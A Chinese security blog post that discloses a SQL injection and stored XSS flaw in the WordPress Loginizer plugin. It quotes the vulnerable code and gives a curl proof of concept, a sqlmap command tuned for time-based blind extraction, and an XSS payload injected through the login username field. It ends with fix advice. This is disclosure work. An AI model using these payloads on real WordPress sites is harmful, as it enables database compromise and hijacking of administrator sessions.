1. 极安网首页
  2. 网络安全技术

WordPress插件 Loginizer > 1.6.4 存在SQL注入漏洞

WordPress插件 Loginizer > 1.6.4 存在SQL注入漏洞-极安网

WP的Loginizer安全插件,该插件可保护网站免受暴力攻击(非常需要的功能),并以“双因素验证”,“ reCAPTCHA”,“ PasswordLess Login”的形式提供额外的亮点……最近,我在插件代码中进行了一些检查几乎没有发现安全问题,例如通向SQLi的两条路径和一条XSS。除了过去曾经对插件代码进行过审核(在下文中有更多有关此事实)的事实外,代码中的问题仍然非常严重。

Eli5 PoC

插件计算失败的登录尝试次数wp_login_failed,wp_authenticate例如在XMLRPC和Web界面中执行身份验证的官方wp方法中,调用失败。在wp_signon中,我们没有削减用户名/密码对(对于XMLRPC则不是这样),并且像这样发送给wp_authenticate。在这里,我们有一个简单的方法sanitize_user,当使用$strict = false默认参数值调用该方法时,它是没有用的。因此,未受保护的$username功能会朝着挂钩的任何功能发展wp_login_failed。在Loginizer中:

  1. add_action('wp_login_failed', 'loginizer_login_failed');

通过函数定义,我们可以看到raw如何$username达到插件功能:

  1. function loginizer_login_failed($username, $is_2fa = ''){
  2.   global $wpdb, $loginizer, $lz_cannot_login;
  3.  ...

此外,在此函数中,还会使用未清除的DB参数调用DB:

  1. ...
  2. $result = lz_selectquery("SELECT * FROM `".$wpdb->prefix."loginizer_logs` WHERE `ip` = '".$loginizer['current_ip']."';");
  3. ...
  4. $sresult = $wpdb->query("UPDATE `".$wpdb->prefix."loginizer_logs` SET `username` = '".$username."', `time` = '".time()."', `count` = `count`+1, `lockout` = '".$lockout."', `url` = '".$url."' WHERE `ip` = '".$loginizer['current_ip']."';");
  5. ...
  6. $insert = $wpdb->query("INSERT INTO `".$wpdb->prefix."loginizer_logs` SET `username` = '".$username."', `time` = '".time()."', `count` = '1', `ip` = '".$loginizer['current_ip']."', `lockout` = '0', `url` = '".$url."';");

并且我们根据用户登录数据看到了SQLi容易受到攻击的地方。如果您监视error_logs,则最简单的PoC为:

  1. curl 'http://www.secvery.com/wp-login.php' --data-raw 'log=test%27loginizer&pwd=fdsfsdfs&wp-submit=Log+In&redirect_to=&testcookie=1'

并且在error_log中,您将看到

  1. [Mon Oct 19 13:20:27.425151 2020] [php7:notice] [pid 129822] [client 127.0.0.1:37896] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'loginizer', `time` = '1603106427', `count` = '1', `ip` = '127.0.0.1', `lo' at line 1 for query INSERT INTO `wp_loginizer_logs` SET `username` = 'test'loginizer', `time` = '1603106427', ...

这意味着我们不会在insert语句中插入SQLi ,因为在这种情况下会出错,但是在真正的攻击ip值的情况下,可以很容易地改写并且将无用的数据填充到记录器表中。更加隐蔽的方法是将sqli用作update声明。

  1. python3 sqlmap.py -u http://local.target/wp-login.php --method='POST' --data='log=&pwd=password&wp-submit=Log+In&redirect_to=&testcookie=1' -p log --prefix="', ip = LEFT(UUID(), 8), url = ( TRUE " --suffix=") -- wpdeeply" --dbms mysql --technique=T --time-sec=1 --current-db --current-user

作为此SQLi的补充,在代码中,以下用于在管理区域中打印输出:

  1. // Get the logs
  2.     $result = lz_selectquery("SELECT * FROM `".$wpdb->prefix."loginizer_logs` 
  3.                             ORDER BY `time` DESC 
  4.                             LIMIT ".$lz_env['cur_page'].", ".$lz_env['res_len'].""1);
  5. ...
  6. foreach($result as $ik => $iv){
  7.                     $status_button = (!empty($iv['status']) ? 'disable' : 'enable');
  8.                     echo '
  9.                     <tr>
  10.                         <td>
  11.                             <input type="checkbox" value="'.$iv['ip'].'" name="lz_reset_ips[]" />
  12.                         </td>
  13.                         <td>
  14.                             '.$iv['ip'].'
  15.                         </td>
  16.                         <td>
  17.                             '.$iv['username'].'
  18.                         </td>

因此,除了sanitize_user函数剥离标签的事实之外,当我们进入SQL机制时,我们也可以选择存储XSS攻击:

  1. test',ip=concat(char(60),'b',char(62),'wpdeeply',char(60),char(47),'b',char(62),'-',LEFT(UUID(),8)) -- wpdeeply

就是这样,通过轻松,详细地了解SQLi + XSS $username。

如何修复

更新Loginizer插件并继续使用,它是一款很好且有用的软件。

使用准备好的数据库语句。

关闭生产环境中的自动更新,并从阶段开始进行活动安装。它既涉及隐私,也涉及安全性。

原创文章,作者: Admin ,转载请注明出处:https://secvery.com/3097.html